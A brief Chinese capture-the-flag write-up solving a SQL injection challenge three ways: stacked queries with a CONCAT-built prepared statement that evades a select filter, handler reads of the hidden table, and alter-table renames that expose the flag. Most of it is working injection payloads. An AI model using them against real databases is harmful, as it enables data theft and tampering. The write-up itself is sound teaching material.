三種方法
方法一
=1 回顯正常
=1’回顯不正常,報sql語法錯誤
=1’ --+ 回顯正常,說明有sql注入點,應該是字符型注入(# 不能用)
=1’ order by 3 --+ 回顯失敗,說明有2個注入點
=1’ union select 1,2 --+ 回顯顯示過濾語句:
=1’; show databases --+ 爆數據庫名
=-1’; show tables --+ 繞過過濾,顯示表下的列名
=1’;show columns from words --+ 嘗試堆疊注入(多條語句)
nothing…
想要進一步拿到信息,只有想辦法繞過select語句
這里需要用到 sql語句的預編譯
https://blog.csdn.net/weixin_45694388/article/details/111871581
-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#
再次通過大小寫繞過關鍵字prepare過濾
方法二:handler查詢
mysql可以使用select查詢表中的數據,也可使用handler語句,這條語句是一行一行的瀏覽一個表中的數據。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打開一張表
handler table_name read first讀取第一行內容,
handler table_name read next依次獲取其它行
最后一行執行之后再執行handel table_name read next會返回一個空的結果。
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
方法三 他好騷啊
有如下列,其中有一個列就是data列我們是可以進行查詢,爆出內容的,所以我們可以利用數據庫修改表名和列名的方法,將我們要查詢的表名改成第二個,就可以查詢出我們想要的內容了
=1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
介紹一下這幾句:
alter table words rename to aaaa;
先把原來的words表名字改成別的,這個隨便
alter table 1919810931114514 rename to words;
將表1919810931114514的名字改為words
alter table words change flag id varchar(100);
將改完名字后的表中的flag改為id,字符串盡量長點吧
然后我們用1’ or 1=1 --+直接就能得到正確結果